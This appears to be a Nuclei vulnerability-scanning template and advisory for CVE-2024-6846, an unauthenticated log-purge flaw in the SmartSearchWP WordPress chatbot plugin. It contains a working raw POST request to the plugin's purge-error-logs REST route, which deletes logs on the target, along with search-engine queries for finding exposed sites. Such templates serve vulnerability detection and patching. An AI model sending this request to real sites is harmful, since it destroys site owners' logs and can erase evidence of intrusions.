Description
The Chatbot with ChatGPT WordPress plugin before 2.4.5 does not validate access on some REST routes, allowing for an unauthenticated user to purge error and chat logs.
The Chatbot with ChatGPT WordPress plugin before 2.4.5 does not validate access on some REST routes, allowing for an unauthenticated user to purge error and chat logs.
id: CVE-2024-6846
info:
name: SmartSearchWP <= 2.4.4 - Unauthenticated Log Purge
author: s4e-io
severity: medium
description: |
The Chatbot with ChatGPT WordPress plugin before 2.4.5 does not validate access on some REST routes, allowing for an unauthenticated user to purge error and chat logs.
impact: |
Unauthenticated attackers can delete error and chat logs, potentially destroying evidence of attacks or system issues.
remediation: |
Update SmartSearchWP plugin to version 2.4.5 or later to address the unauthorized log purge vulnerability.
reference:
- https://wpscan.com/vulnerability/d48fdab3-669c-4870-a2f9-6c39a7c25fd8/
- https://nvd.nist.gov/vuln/detail/CVE-2024-6846
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
cvss-score: 5.3
cve-id: CVE-2024-6846
epss-score: 0.01252
epss-percentile: 0.6794
metadata:
max-request: 1
verified: true
vendor: webdigit
product: smartsearchwp
framework: wordpress
publicwww-query: "/wp-content/plugins/smartsearchwp"
fofa-query: body="/wp-content/plugins/smartsearchwp"
tags: wpscan,cve,cve2024,wp,wordpress,wp-plugin,smartsearchwp,chatgpt,vuln,ai
http:
- raw:
- |
POST /wp-json/wdgpt/v1/purge-error-logs HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"months":"1"}
matchers:
- type: dsl
dsl:
- 'contains_all(body,"success","true", "purged successfully")'
- 'contains(content_type,"application/json")'
- 'status_code == 200'
condition: and
# digest: 4b0a00483046022100905a197edf43958fde837bd6e4740a9d2a82ca52c786460767dd4d5d809b1a5e022100dc5759ce4983bb70a9880ca0f9d02727e215287569755ae317d00b9317a5dfa3:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.